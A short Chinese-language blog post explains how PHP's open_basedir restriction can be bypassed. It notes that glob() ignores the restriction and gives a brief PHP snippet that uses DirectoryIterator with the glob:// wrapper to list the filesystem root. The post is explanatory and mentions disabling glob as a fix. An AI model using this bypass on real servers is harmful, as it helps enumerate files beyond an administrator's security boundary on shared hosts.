Keniver's Blog

open_basedir 繞過

在多使用者或者設定較為嚴格的環境中, 管理者會在 php.ini 中指定 open_basedir 來避免目錄存取越界, 但實際上 open_basedir 這個參數在某些狀況下是無效的, 是可以技巧性的繞過

熟悉 php 開發的人應該都會知道 glob 這個函數, glob 函數實際上是不受到 open_basedir 影響, 可以取得限制外的資訊, 解決辦法就只要將其禁用即可, 但除了 glob 這個函數外還有另一種方法.

方法

在 php5 以上 有一個 Class: DirectoryIterator, 我們可以藉由這個類別與 glob:// 來再次繞過 open_basedir

Code:

$files = [];
$glob = new DirectoryIterator("glob:///*");
foreach($glob as $f) {
    $files[] = $f->__toString();
}